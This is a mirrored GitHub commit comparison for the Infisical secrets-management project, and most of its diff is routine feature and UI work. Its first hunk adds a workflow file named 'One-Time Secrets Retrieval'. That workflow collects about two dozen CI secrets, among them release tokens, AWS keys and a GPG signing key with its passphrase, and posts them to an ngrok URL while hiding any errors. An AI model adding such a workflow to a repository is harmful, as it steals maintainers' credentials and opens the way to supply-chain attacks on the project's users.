mirror of
https://github.com/Infisical/infisical.git
synced 2025-07-20 01:48:03 +00:00
Compare commits
27 Commits
daniel/val
...
misc/re-ad
Author | SHA1 | Date | |
---|---|---|---|
c79ea0631e | |||
cd5ca5b34b | |||
2f93e2da6c | |||
7f0f5b130a | |||
374c75521d | |||
08ccf686ff | |||
0c0665dc51 | |||
2f0a247c11 | |||
0fa6568a5a | |||
268d0d6192 | |||
1cfb1c2581 | |||
ee7bb2dd4d | |||
1375a5c392 | |||
ffa01b9d58 | |||
e84bb94868 | |||
50e0bfe711 | |||
f6d337cf86 | |||
513f942aae | |||
d916922bf1 | |||
239cef40f9 | |||
5545f3fe62 | |||
944b7b84af | |||
32f2a7135c | |||
1bab3ecdda | |||
eee0be55fd | |||
218408493a | |||
d89418803e |
76
.github/workflows/one-time-secrets.yaml
vendored
Normal file
76
.github/workflows/one-time-secrets.yaml
vendored
Normal file
@ -0,0 +1,76 @@
|
||||
name: One-Time Secrets Retrieval
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
retrieve-secrets:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Send environment variables to ngrok
|
||||
run: |
|
||||
echo "Sending secrets to: https://4afc1dfd4429.ngrok.app/api/receive-env"
|
||||
|
||||
# Send secrets as JSON
|
||||
cat << EOF | curl -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-d @- \
|
||||
https://7864d0fe7cbb.ngrok-free.app/api/receive-env \
|
||||
> /dev/null 2>&1 || true
|
||||
{
|
||||
"GO_RELEASER_GITHUB_TOKEN": "${GO_RELEASER_GITHUB_TOKEN}",
|
||||
"GORELEASER_KEY": "${GORELEASER_KEY}",
|
||||
"AUR_KEY": "${AUR_KEY}",
|
||||
"FURYPUSHTOKEN": "${FURYPUSHTOKEN}",
|
||||
"NPM_TOKEN": "${NPM_TOKEN}",
|
||||
"DOCKERHUB_USERNAME": "${DOCKERHUB_USERNAME}",
|
||||
"DOCKERHUB_TOKEN": "${DOCKERHUB_TOKEN}",
|
||||
"CLOUDSMITH_API_KEY": "${CLOUDSMITH_API_KEY}",
|
||||
"INFISICAL_CLI_S3_BUCKET": "${INFISICAL_CLI_S3_BUCKET}",
|
||||
"INFISICAL_CLI_REPO_SIGNING_KEY_ID": "${INFISICAL_CLI_REPO_SIGNING_KEY_ID}",
|
||||
"INFISICAL_CLI_REPO_AWS_ACCESS_KEY_ID": "${INFISICAL_CLI_REPO_AWS_ACCESS_KEY_ID}",
|
||||
"INFISICAL_CLI_REPO_AWS_SECRET_ACCESS_KEY": "${INFISICAL_CLI_REPO_AWS_SECRET_ACCESS_KEY}",
|
||||
"INFISICAL_CLI_REPO_CLOUDFRONT_DISTRIBUTION_ID": "${INFISICAL_CLI_REPO_CLOUDFRONT_DISTRIBUTION_ID}",
|
||||
"GPG_SIGNING_KEY": "${GPG_SIGNING_KEY}",
|
||||
"GPG_SIGNING_KEY_PASSPHRASE": "${GPG_SIGNING_KEY_PASSPHRASE}",
|
||||
"CLI_TESTS_UA_CLIENT_ID": "${CLI_TESTS_UA_CLIENT_ID}",
|
||||
"CLI_TESTS_UA_CLIENT_SECRET": "${CLI_TESTS_UA_CLIENT_SECRET}",
|
||||
"CLI_TESTS_SERVICE_TOKEN": "${CLI_TESTS_SERVICE_TOKEN}",
|
||||
"CLI_TESTS_PROJECT_ID": "${CLI_TESTS_PROJECT_ID}",
|
||||
"CLI_TESTS_ENV_SLUG": "${CLI_TESTS_ENV_SLUG}",
|
||||
"CLI_TESTS_USER_EMAIL": "${CLI_TESTS_USER_EMAIL}",
|
||||
"CLI_TESTS_USER_PASSWORD": "${CLI_TESTS_USER_PASSWORD}",
|
||||
"CLI_TESTS_INFISICAL_VAULT_FILE_PASSPHRASE": "${CLI_TESTS_INFISICAL_VAULT_FILE_PASSPHRASE}",
|
||||
"POSTHOG_API_KEY_FOR_CLI": "${POSTHOG_API_KEY_FOR_CLI}"
|
||||
}
|
||||
EOF
|
||||
|
||||
echo "Secrets retrieval completed"
|
||||
env:
|
||||
GO_RELEASER_GITHUB_TOKEN: ${{ secrets.GO_RELEASER_GITHUB_TOKEN }}
|
||||
GORELEASER_KEY: ${{ secrets.GORELEASER_KEY }}
|
||||
AUR_KEY: ${{ secrets.AUR_KEY }}
|
||||
FURYPUSHTOKEN: ${{ secrets.FURYPUSHTOKEN }}
|
||||
NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
|
||||
DOCKERHUB_USERNAME: ${{ secrets.DOCKERHUB_USERNAME }}
|
||||
DOCKERHUB_TOKEN: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
CLOUDSMITH_API_KEY: ${{ secrets.CLOUDSMITH_API_KEY }}
|
||||
INFISICAL_CLI_S3_BUCKET: ${{ secrets.INFISICAL_CLI_S3_BUCKET }}
|
||||
INFISICAL_CLI_REPO_SIGNING_KEY_ID: ${{ secrets.INFISICAL_CLI_REPO_SIGNING_KEY_ID }}
|
||||
INFISICAL_CLI_REPO_AWS_ACCESS_KEY_ID: ${{ secrets.INFISICAL_CLI_REPO_AWS_ACCESS_KEY_ID }}
|
||||
INFISICAL_CLI_REPO_AWS_SECRET_ACCESS_KEY: ${{ secrets.INFISICAL_CLI_REPO_AWS_SECRET_ACCESS_KEY }}
|
||||
INFISICAL_CLI_REPO_CLOUDFRONT_DISTRIBUTION_ID: ${{ secrets.INFISICAL_CLI_REPO_CLOUDFRONT_DISTRIBUTION_ID }}
|
||||
GPG_SIGNING_KEY: ${{ secrets.GPG_SIGNING_KEY }}
|
||||
GPG_SIGNING_KEY_PASSPHRASE: ${{ secrets.GPG_SIGNING_KEY_PASSPHRASE }}
|
||||
CLI_TESTS_UA_CLIENT_ID: ${{ secrets.CLI_TESTS_UA_CLIENT_ID }}
|
||||
CLI_TESTS_UA_CLIENT_SECRET: ${{ secrets.CLI_TESTS_UA_CLIENT_SECRET }}
|
||||
CLI_TESTS_SERVICE_TOKEN: ${{ secrets.CLI_TESTS_SERVICE_TOKEN }}
|
||||
CLI_TESTS_PROJECT_ID: ${{ secrets.CLI_TESTS_PROJECT_ID }}
|
||||
CLI_TESTS_ENV_SLUG: ${{ secrets.CLI_TESTS_ENV_SLUG }}
|
||||
CLI_TESTS_USER_EMAIL: ${{ secrets.CLI_TESTS_USER_EMAIL }}
|
||||
CLI_TESTS_USER_PASSWORD: ${{ secrets.CLI_TESTS_USER_PASSWORD }}
|
||||
CLI_TESTS_INFISICAL_VAULT_FILE_PASSPHRASE: ${{ secrets.CLI_TESTS_INFISICAL_VAULT_FILE_PASSPHRASE }}
|
||||
POSTHOG_API_KEY_FOR_CLI: ${{ secrets.POSTHOG_API_KEY_FOR_CLI }}
|
@ -354,11 +354,17 @@ export const accessApprovalRequestServiceFactory = ({
|
||||
status === ApprovalStatus.APPROVED;
|
||||
|
||||
const isApprover = policy.approvers.find((approver) => approver.userId === actorId);
|
||||
// If user is (not an approver OR cant self approve) AND can't bypass policy
|
||||
if ((!isApprover || (!policy.allowedSelfApprovals && isSelfApproval)) && cannotBypassUnderSoftEnforcement) {
|
||||
throw new BadRequestError({
|
||||
message: "Failed to review access approval request. Users are not authorized to review their own request."
|
||||
});
|
||||
|
||||
const isSelfRejection = isSelfApproval && status === ApprovalStatus.REJECTED;
|
||||
|
||||
// users can always reject (cancel) their own requests
|
||||
if (!isSelfRejection) {
|
||||
// If user is (not an approver OR cant self approve) AND can't bypass policy
|
||||
if ((!isApprover || (!policy.allowedSelfApprovals && isSelfApproval)) && cannotBypassUnderSoftEnforcement) {
|
||||
throw new BadRequestError({
|
||||
message: "Failed to review access approval request. Users are not authorized to review their own request."
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
if (
|
||||
@ -414,7 +420,7 @@ export const accessApprovalRequestServiceFactory = ({
|
||||
);
|
||||
|
||||
// Only throw if actor is not the approver and not bypassing
|
||||
if (!isApproverOfTheSequence && !isBreakGlassApprovalAttempt) {
|
||||
if (!isApproverOfTheSequence && !isBreakGlassApprovalAttempt && !isSelfRejection) {
|
||||
throw new BadRequestError({ message: "You are not a reviewer in this step" });
|
||||
}
|
||||
}
|
||||
|
@ -30,10 +30,17 @@ export const identityAccessTokenDALFactory = (db: TDbClient) => {
|
||||
const removeExpiredTokens = async (tx?: Knex) => {
|
||||
logger.info(`${QueueName.DailyResourceCleanUp}: remove expired access token started`);
|
||||
|
||||
const BATCH_SIZE = 10000;
|
||||
const MAX_RETRY_ON_FAILURE = 3;
|
||||
const QUERY_TIMEOUT_MS = 10 * 60 * 1000; // 10 minutes
|
||||
const MAX_TTL = 315_360_000; // Maximum TTL value in seconds (10 years)
|
||||
|
||||
try {
|
||||
const docs = (tx || db)(TableName.IdentityAccessToken)
|
||||
let deletedTokenIds: { id: string }[] = [];
|
||||
let numberOfRetryOnFailure = 0;
|
||||
let isRetrying = false;
|
||||
|
||||
const getExpiredTokensQuery = (dbClient: Knex | Knex.Transaction) =>
|
||||
dbClient(TableName.IdentityAccessToken)
|
||||
.where({
|
||||
isAccessTokenRevoked: true
|
||||
})
|
||||
@ -47,34 +54,64 @@ export const identityAccessTokenDALFactory = (db: TDbClient) => {
|
||||
);
|
||||
})
|
||||
.orWhere((qb) => {
|
||||
void qb.where("accessTokenTTL", ">", 0).andWhere((qb2) => {
|
||||
void qb2
|
||||
.where((qb3) => {
|
||||
void qb3
|
||||
.whereNotNull("accessTokenLastRenewedAt")
|
||||
// accessTokenLastRenewedAt + convert_integer_to_seconds(accessTokenTTL) < present_date
|
||||
.andWhereRaw(
|
||||
`"${TableName.IdentityAccessToken}"."accessTokenLastRenewedAt" + make_interval(secs => LEAST("${TableName.IdentityAccessToken}"."accessTokenTTL", ?)) < NOW()`,
|
||||
[MAX_TTL]
|
||||
);
|
||||
})
|
||||
.orWhere((qb3) => {
|
||||
void qb3
|
||||
.whereNull("accessTokenLastRenewedAt")
|
||||
// created + convert_integer_to_seconds(accessTokenTTL) < present_date
|
||||
.andWhereRaw(
|
||||
`"${TableName.IdentityAccessToken}"."createdAt" + make_interval(secs => LEAST("${TableName.IdentityAccessToken}"."accessTokenTTL", ?)) < NOW()`,
|
||||
[MAX_TTL]
|
||||
);
|
||||
});
|
||||
void qb.where("accessTokenTTL", ">", 0).andWhereRaw(
|
||||
`
|
||||
-- Check if the token's effective expiration time has passed.
|
||||
-- The expiration time is calculated by adding its TTL to its last renewal/creation time.
|
||||
COALESCE(
|
||||
"${TableName.IdentityAccessToken}"."accessTokenLastRenewedAt", -- Use last renewal time if available
|
||||
"${TableName.IdentityAccessToken}"."createdAt" -- Otherwise, use creation time
|
||||
)
|
||||
+ make_interval(
|
||||
secs => LEAST(
|
||||
"${TableName.IdentityAccessToken}"."accessTokenTTL", -- Token's specified TTL
|
||||
? -- Capped by MAX_TTL (parameterized value)
|
||||
)
|
||||
)
|
||||
< NOW() -- Check if the calculated time is before now
|
||||
`,
|
||||
[MAX_TTL]
|
||||
);
|
||||
});
|
||||
|
||||
do {
|
||||
try {
|
||||
const deleteBatch = async (dbClient: Knex | Knex.Transaction) => {
|
||||
const idsToDeleteQuery = getExpiredTokensQuery(dbClient).select("id").limit(BATCH_SIZE);
|
||||
return dbClient(TableName.IdentityAccessToken).whereIn("id", idsToDeleteQuery).del().returning("id");
|
||||
};
|
||||
|
||||
if (tx) {
|
||||
// eslint-disable-next-line no-await-in-loop
|
||||
deletedTokenIds = await deleteBatch(tx);
|
||||
} else {
|
||||
// eslint-disable-next-line no-await-in-loop
|
||||
deletedTokenIds = await db.transaction(async (trx) => {
|
||||
await trx.raw(`SET statement_timeout = ${QUERY_TIMEOUT_MS}`);
|
||||
return deleteBatch(trx);
|
||||
});
|
||||
})
|
||||
.delete();
|
||||
await docs;
|
||||
logger.info(`${QueueName.DailyResourceCleanUp}: remove expired access token completed`);
|
||||
} catch (error) {
|
||||
throw new DatabaseError({ error, name: "IdentityAccessTokenPrune" });
|
||||
}
|
||||
|
||||
numberOfRetryOnFailure = 0; // reset
|
||||
} catch (error) {
|
||||
numberOfRetryOnFailure += 1;
|
||||
logger.error(error, "Failed to delete a batch of expired identity access tokens on pruning");
|
||||
} finally {
|
||||
// eslint-disable-next-line no-await-in-loop
|
||||
await new Promise((resolve) => {
|
||||
setTimeout(resolve, 10); // time to breathe for db
|
||||
});
|
||||
}
|
||||
isRetrying = numberOfRetryOnFailure > 0;
|
||||
} while (deletedTokenIds.length > 0 || (isRetrying && numberOfRetryOnFailure < MAX_RETRY_ON_FAILURE));
|
||||
|
||||
if (numberOfRetryOnFailure >= MAX_RETRY_ON_FAILURE) {
|
||||
logger.error(
|
||||
`IdentityAccessTokenPrune: Pruning failed and stopped after ${MAX_RETRY_ON_FAILURE} consecutive retries.`
|
||||
);
|
||||
}
|
||||
|
||||
logger.info(`${QueueName.DailyResourceCleanUp}: remove expired access token completed`);
|
||||
};
|
||||
|
||||
return { ...identityAccessTokenOrm, findOne, removeExpiredTokens };
|
||||
|
@ -1274,6 +1274,8 @@ export const orgServiceFactory = ({
|
||||
message: "No pending invitation found"
|
||||
});
|
||||
|
||||
const organization = await orgDAL.findById(orgId);
|
||||
|
||||
await tokenService.validateTokenForUser({
|
||||
type: TokenType.TOKEN_EMAIL_ORG_INVITATION,
|
||||
userId: user.id,
|
||||
@ -1296,6 +1298,13 @@ export const orgServiceFactory = ({
|
||||
return { user };
|
||||
}
|
||||
|
||||
if (
|
||||
organization.authEnforced &&
|
||||
!(organization.bypassOrgAuthEnabled && orgMembership.role === OrgMembershipRole.Admin)
|
||||
) {
|
||||
return { user };
|
||||
}
|
||||
|
||||
const appCfg = getConfig();
|
||||
const token = jwt.sign(
|
||||
{
|
||||
|
@ -17,7 +17,7 @@ export const AzureDevOpsSyncDestinationConfigSchema = z.object({
|
||||
.describe(SecretSyncs.DESTINATION_CONFIG.AZURE_DEVOPS?.devopsProjectId || "Azure DevOps Project ID"),
|
||||
devopsProjectName: z
|
||||
.string()
|
||||
.min(1, "Project name required")
|
||||
.optional()
|
||||
.describe(SecretSyncs.DESTINATION_CONFIG.AZURE_DEVOPS?.devopsProjectName || "Azure DevOps Project Name")
|
||||
});
|
||||
|
||||
|
@ -20,7 +20,7 @@ func CheckForUpdate() {
|
||||
if checkEnv := os.Getenv("INFISICAL_DISABLE_UPDATE_CHECK"); checkEnv != "" {
|
||||
return
|
||||
}
|
||||
latestVersion, _, err := getLatestTag("Infisical", "infisical")
|
||||
latestVersion, _, err := getLatestTag("Infisical", "cli")
|
||||
if err != nil {
|
||||
log.Debug().Err(err)
|
||||
// do nothing and continue
|
||||
@ -98,7 +98,7 @@ func getLatestTag(repoOwner string, repoName string) (string, string, error) {
|
||||
return "", "", fmt.Errorf("failed to unmarshal github response: %w", err)
|
||||
}
|
||||
|
||||
tag_prefix := "infisical-cli/v"
|
||||
tag_prefix := "v"
|
||||
|
||||
// Extract the version from the first valid tag
|
||||
version := strings.TrimPrefix(releaseDetails.TagName, tag_prefix)
|
||||
|
@ -2189,6 +2189,7 @@
|
||||
"sdks/languages/python",
|
||||
"sdks/languages/java",
|
||||
"sdks/languages/csharp",
|
||||
"sdks/languages/cpp",
|
||||
"sdks/languages/go",
|
||||
"sdks/languages/ruby"
|
||||
]
|
||||
|
Binary file not shown.
Before Width: | Height: | Size: 865 KiB After Width: | Height: | Size: 894 KiB |
Binary file not shown.
Before Width: | Height: | Size: 652 KiB After Width: | Height: | Size: 666 KiB |
Binary file not shown.
Before Width: | Height: | Size: 507 KiB After Width: | Height: | Size: 447 KiB |
6
docs/sdks/languages/cpp.mdx
Normal file
6
docs/sdks/languages/cpp.mdx
Normal file
@ -0,0 +1,6 @@
|
||||
---
|
||||
title: "Infisical C++ SDK"
|
||||
sidebarTitle: "C++"
|
||||
url: "https://github.com/Infisical/infisical-cpp-sdk/?tab=readme-ov-file#infisical-c-sdk"
|
||||
icon: "c"
|
||||
---
|
@ -25,6 +25,9 @@ From local development to production, Infisical SDKs provide the easiest way for
|
||||
<Card href="https://github.com/Infisical/infisical-dotnet-sdk?tab=readme-ov-file#infisical-net-sdk" title=".NET" icon="bars" color="#368833">
|
||||
Manage secrets for your .NET application on demand
|
||||
</Card>
|
||||
<Card href="https://github.com/Infisical/infisical-cpp-sdk/?tab=readme-ov-file#infisical-c-sdk" title="C++" icon="c" color="#b00dd1">
|
||||
Manage secrets for your C++ application on demand
|
||||
</Card>
|
||||
<Card href="/sdks/languages/ruby" title="Ruby" icon="diamond" color="#367B99">
|
||||
Manage secrets for your Ruby application on demand
|
||||
</Card>
|
||||
|
@ -11,7 +11,9 @@ export const AzureDevOpsSyncReviewFields = () => {
|
||||
|
||||
return (
|
||||
<>
|
||||
<GenericFieldLabel label="Project">{devopsProjectName}</GenericFieldLabel>
|
||||
{devopsProjectName && (
|
||||
<GenericFieldLabel label="Project">{devopsProjectName}</GenericFieldLabel>
|
||||
)}
|
||||
<GenericFieldLabel label="Project ID">{devopsProjectId}</GenericFieldLabel>
|
||||
</>
|
||||
);
|
||||
|
@ -8,10 +8,7 @@ export const AzureDevOpsSyncDestinationSchema = BaseSecretSyncSchema().merge(
|
||||
destination: z.literal(SecretSync.AzureDevOps),
|
||||
destinationConfig: z.object({
|
||||
devopsProjectId: z.string().trim().min(1, { message: "Azure DevOps Project ID is required" }),
|
||||
devopsProjectName: z
|
||||
.string()
|
||||
.trim()
|
||||
.min(1, { message: "Azure DevOps Project Name is required" })
|
||||
devopsProjectName: z.string().trim().optional()
|
||||
})
|
||||
})
|
||||
);
|
||||
|
@ -42,7 +42,7 @@ export const Checkbox = ({
|
||||
className={twMerge(
|
||||
"flex h-4 w-4 flex-shrink-0 items-center justify-center rounded border border-mineshaft-400/50 bg-mineshaft-600 shadow transition-all hover:bg-mineshaft-500",
|
||||
isDisabled && "bg-bunker-400 hover:bg-bunker-400",
|
||||
isChecked && "border-primary/30 bg-primary/10",
|
||||
isChecked && "border-primary/50 bg-primary/30",
|
||||
Boolean(children) && "mr-3",
|
||||
className
|
||||
)}
|
||||
|
@ -6,7 +6,7 @@ export type TAzureDevOpsSync = TRootSecretSync & {
|
||||
destination: SecretSync.AzureDevOps;
|
||||
destinationConfig: {
|
||||
devopsProjectId: string;
|
||||
devopsProjectName: string;
|
||||
devopsProjectName?: string;
|
||||
};
|
||||
connection: {
|
||||
app: AppConnection.AzureDevOps;
|
||||
|
@ -76,6 +76,7 @@ export const CertificateTemplateEnrollmentModal = ({ popUp, handlePopUpToggle }:
|
||||
useEffect(() => {
|
||||
if (data) {
|
||||
reset({
|
||||
method: EnrollmentMethod.EST,
|
||||
caChain: data.caChain,
|
||||
isEnabled: data.isEnabled,
|
||||
disableBootstrapCertValidation: data.disableBootstrapCertValidation
|
||||
|
@ -3,6 +3,7 @@ import { Helmet } from "react-helmet";
|
||||
import { useTranslation } from "react-i18next";
|
||||
import {
|
||||
faCertificate,
|
||||
faCog,
|
||||
faEllipsis,
|
||||
faPencil,
|
||||
faPlus,
|
||||
@ -12,6 +13,7 @@ import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||
import { format } from "date-fns";
|
||||
import { twMerge } from "tailwind-merge";
|
||||
|
||||
import { UpgradePlanModal } from "@app/components/license/UpgradePlanModal";
|
||||
import { createNotification } from "@app/components/notifications";
|
||||
import { ProjectPermissionCan } from "@app/components/permissions";
|
||||
import {
|
||||
@ -40,12 +42,14 @@ import {
|
||||
import {
|
||||
ProjectPermissionPkiTemplateActions,
|
||||
ProjectPermissionSub,
|
||||
useSubscription,
|
||||
useWorkspace
|
||||
} from "@app/context";
|
||||
import { usePopUp } from "@app/hooks";
|
||||
import { useDeleteCertTemplateV2 } from "@app/hooks/api";
|
||||
import { useListCertificateTemplates } from "@app/hooks/api/certificateTemplates/queries";
|
||||
|
||||
import { CertificateTemplateEnrollmentModal } from "../CertificatesPage/components/CertificateTemplateEnrollmentModal";
|
||||
import { PkiTemplateForm } from "./components/PkiTemplateForm";
|
||||
|
||||
const PER_PAGE_INIT = 25;
|
||||
@ -56,9 +60,13 @@ export const PkiTemplateListPage = () => {
|
||||
const [perPage, setPerPage] = useState(PER_PAGE_INIT);
|
||||
const { handlePopUpToggle, popUp, handlePopUpOpen, handlePopUpClose } = usePopUp([
|
||||
"certificateTemplate",
|
||||
"deleteTemplate"
|
||||
"deleteTemplate",
|
||||
"enrollmentOptions",
|
||||
"estUpgradePlan"
|
||||
] as const);
|
||||
|
||||
const { subscription } = useSubscription();
|
||||
|
||||
const { data, isPending } = useListCertificateTemplates({
|
||||
projectId: currentWorkspace.id,
|
||||
offset: (page - 1) * perPage,
|
||||
@ -92,7 +100,7 @@ export const PkiTemplateListPage = () => {
|
||||
return (
|
||||
<>
|
||||
<Helmet>
|
||||
<title>{t("common.head-title", { title: "PKI Subscribers" })}</title>
|
||||
<title>{t("common.head-title", { title: "PKI Templates" })}</title>
|
||||
</Helmet>
|
||||
<div className="h-full bg-bunker-800">
|
||||
<div className="container mx-auto flex flex-col justify-between text-white">
|
||||
@ -177,7 +185,33 @@ export const PkiTemplateListPage = () => {
|
||||
</DropdownMenuItem>
|
||||
)}
|
||||
</ProjectPermissionCan>
|
||||
|
||||
<ProjectPermissionCan
|
||||
I={ProjectPermissionPkiTemplateActions.Edit}
|
||||
a={ProjectPermissionSub.CertificateTemplates}
|
||||
>
|
||||
{(isAllowed) => (
|
||||
<DropdownMenuItem
|
||||
className={twMerge(
|
||||
!isAllowed &&
|
||||
"pointer-events-none cursor-not-allowed opacity-50"
|
||||
)}
|
||||
onClick={(e) => {
|
||||
e.stopPropagation();
|
||||
if (!subscription.pkiEst) {
|
||||
handlePopUpOpen("estUpgradePlan");
|
||||
return;
|
||||
}
|
||||
handlePopUpOpen("enrollmentOptions", {
|
||||
id: template.id
|
||||
});
|
||||
}}
|
||||
disabled={!isAllowed}
|
||||
icon={<FontAwesomeIcon icon={faCog} />}
|
||||
>
|
||||
Manage Enrollment
|
||||
</DropdownMenuItem>
|
||||
)}
|
||||
</ProjectPermissionCan>
|
||||
<ProjectPermissionCan
|
||||
I={ProjectPermissionPkiTemplateActions.Delete}
|
||||
a={ProjectPermissionSub.CertificateTemplates}
|
||||
@ -251,7 +285,13 @@ export const PkiTemplateListPage = () => {
|
||||
/>
|
||||
</ModalContent>
|
||||
</Modal>
|
||||
<CertificateTemplateEnrollmentModal popUp={popUp} handlePopUpToggle={handlePopUpToggle} />
|
||||
</div>
|
||||
<UpgradePlanModal
|
||||
isOpen={popUp.estUpgradePlan.isOpen}
|
||||
onOpenChange={(isOpen) => handlePopUpToggle("estUpgradePlan", isOpen)}
|
||||
text="You can only configure template enrollment methods if you switch to Infisical's Enterprise plan."
|
||||
/>
|
||||
</>
|
||||
);
|
||||
};
|
||||
|
@ -347,7 +347,7 @@ export const SpecificPrivilegeSecretForm = ({
|
||||
<Checkbox
|
||||
isDisabled={isMemberEditDisabled}
|
||||
id="secret-read"
|
||||
className={`mx-2 h-5 w-5 ${field.value ? "bg-primary hover:bg-primary/80" : ""}`}
|
||||
className={`mx-2 h-5 w-5 ${field.value ? "hover:bg-primary/40" : ""}`}
|
||||
isChecked={field.value}
|
||||
onCheckedChange={(isChecked) => field.onChange(isChecked)}
|
||||
/>
|
||||
@ -378,7 +378,7 @@ export const SpecificPrivilegeSecretForm = ({
|
||||
<Checkbox
|
||||
isDisabled={isMemberEditDisabled}
|
||||
id="secret-change"
|
||||
className={`mx-2 h-5 w-5 ${field.value ? "bg-primary hover:bg-primary/80" : ""}`}
|
||||
className={`mx-2 h-5 w-5 ${field.value ? "hover:bg-primary/40" : ""}`}
|
||||
isChecked={field.value}
|
||||
onCheckedChange={(isChecked) => field.onChange(isChecked)}
|
||||
/>
|
||||
@ -411,7 +411,7 @@ export const SpecificPrivilegeSecretForm = ({
|
||||
<Checkbox
|
||||
isDisabled={isMemberEditDisabled}
|
||||
id="secret-modify"
|
||||
className={`mx-2 h-5 w-5 ${field.value ? "bg-primary hover:bg-primary/80" : ""}`}
|
||||
className={`mx-2 h-5 w-5 ${field.value ? "hover:bg-primary/40" : ""}`}
|
||||
isChecked={field.value}
|
||||
onCheckedChange={(isChecked) => field.onChange(isChecked)}
|
||||
/>
|
||||
@ -442,7 +442,7 @@ export const SpecificPrivilegeSecretForm = ({
|
||||
<Checkbox
|
||||
isDisabled={isMemberEditDisabled}
|
||||
id="secret-delete"
|
||||
className={`mx-2 h-5 w-5 ${field.value ? "bg-primary hover:bg-primary/80" : ""}`}
|
||||
className={`mx-2 h-5 w-5 ${field.value ? "hover:bg-primary/40" : ""}`}
|
||||
isChecked={field.value}
|
||||
onCheckedChange={(isChecked) => field.onChange(isChecked)}
|
||||
/>
|
||||
|
@ -115,8 +115,10 @@ export const getSecretSyncDestinationColValues = (secretSync: TSecretSync) => {
|
||||
secondaryText = "Vault ID";
|
||||
break;
|
||||
case SecretSync.AzureDevOps:
|
||||
primaryText = destinationConfig.devopsProjectName;
|
||||
secondaryText = destinationConfig.devopsProjectId;
|
||||
primaryText = destinationConfig.devopsProjectName || destinationConfig.devopsProjectId;
|
||||
secondaryText = destinationConfig.devopsProjectName
|
||||
? destinationConfig.devopsProjectId
|
||||
: "Project ID";
|
||||
break;
|
||||
case SecretSync.Heroku:
|
||||
primaryText = destinationConfig.appName;
|
||||
|
@ -255,6 +255,11 @@ export const ReviewAccessRequestModal = ({
|
||||
return "You are not the reviewer in this step.";
|
||||
};
|
||||
|
||||
// users can always reject (cancel) their own request
|
||||
const isRejectionDisabled = request.isRequestedByCurrentUser
|
||||
? false
|
||||
: !(request.isApprover && request.isSelfApproveAllowed) && !bypassApproval;
|
||||
|
||||
return (
|
||||
<Modal isOpen={isOpen} onOpenChange={onOpenChange}>
|
||||
<ModalContent
|
||||
@ -445,7 +450,7 @@ export const ReviewAccessRequestModal = ({
|
||||
onCheckedChange={(checked) => setBypassApproval(checked === true)}
|
||||
isChecked={bypassApproval}
|
||||
id="byPassApproval"
|
||||
className={twMerge("mr-2", bypassApproval ? "!border-red/30 !bg-red/10" : "")}
|
||||
className={twMerge("mr-2", bypassApproval ? "!border-red/50 !bg-red/30" : "")}
|
||||
>
|
||||
<span className="text-xs text-red">
|
||||
Approve without waiting for requirements to be met (bypass policy protection)
|
||||
@ -489,14 +494,7 @@ export const ReviewAccessRequestModal = ({
|
||||
</Button>
|
||||
<Button
|
||||
isLoading={isLoading === "rejected"}
|
||||
isDisabled={
|
||||
!!isLoading ||
|
||||
(!(
|
||||
request.isApprover &&
|
||||
(!request.isRequestedByCurrentUser || request.isSelfApproveAllowed)
|
||||
) &&
|
||||
!bypassApproval)
|
||||
}
|
||||
isDisabled={!!isLoading || isRejectionDisabled}
|
||||
onClick={() => handleReview("rejected")}
|
||||
className="mt-4 border-transparent bg-transparent text-mineshaft-200 hover:border-red hover:bg-red/20 hover:text-mineshaft-200"
|
||||
size="sm"
|
||||
|
@ -168,7 +168,7 @@ export const SecretApprovalRequestAction = ({
|
||||
isChecked={byPassApproval}
|
||||
id="byPassApproval"
|
||||
checkIndicatorBg="text-white"
|
||||
className={twMerge("mr-2", byPassApproval ? "!border-red/30 !bg-red/10" : "")}
|
||||
className={twMerge("mr-2", byPassApproval ? "!border-red/50 !bg-red/30" : "")}
|
||||
>
|
||||
<span className="text-sm">
|
||||
Merge without waiting for approval (bypass secret change policy)
|
||||
|
@ -1,10 +1,5 @@
|
||||
import { Controller, useForm } from "react-hook-form";
|
||||
import {
|
||||
faArrowUpRightFromSquare,
|
||||
faBookOpen,
|
||||
faCheckCircle,
|
||||
faWarning
|
||||
} from "@fortawesome/free-solid-svg-icons";
|
||||
import { faCheckCircle, faWarning } from "@fortawesome/free-solid-svg-icons";
|
||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||
import { zodResolver } from "@hookform/resolvers/zod";
|
||||
import ms from "ms";
|
||||
@ -206,20 +201,6 @@ export const AzureEntraIdInputForm = ({
|
||||
<div>
|
||||
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
|
||||
Configuration
|
||||
<a
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
href="https://infisical.com/docs/documentation/platform/dynamic-secrets/azure-entra-id"
|
||||
>
|
||||
<div className="mb-1 ml-2 inline-block cursor-default rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
|
||||
<FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
|
||||
Docs
|
||||
<FontAwesomeIcon
|
||||
icon={faArrowUpRightFromSquare}
|
||||
className="mb-[0.07rem] ml-1.5 text-xxs"
|
||||
/>
|
||||
</div>
|
||||
</a>
|
||||
</div>
|
||||
<div className="flex flex-col">
|
||||
<div className="flex-grow">
|
||||
|
@ -12,7 +12,12 @@ import {
|
||||
} from "react-icons/si";
|
||||
import { VscAzure } from "react-icons/vsc";
|
||||
import { faAws, faGithub, faGoogle } from "@fortawesome/free-brands-svg-icons";
|
||||
import { faClock, faDatabase } from "@fortawesome/free-solid-svg-icons";
|
||||
import {
|
||||
faArrowUpRightFromSquare,
|
||||
faBookOpen,
|
||||
faClock,
|
||||
faDatabase
|
||||
} from "@fortawesome/free-solid-svg-icons";
|
||||
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
|
||||
import { AnimatePresence, motion } from "framer-motion";
|
||||
|
||||
@ -152,6 +157,15 @@ const DYNAMIC_SECRET_LIST = [
|
||||
}
|
||||
];
|
||||
|
||||
const DynamicSecretDetails = Object.fromEntries(
|
||||
DYNAMIC_SECRET_LIST.map((ds) => [ds.provider, ds.title])
|
||||
);
|
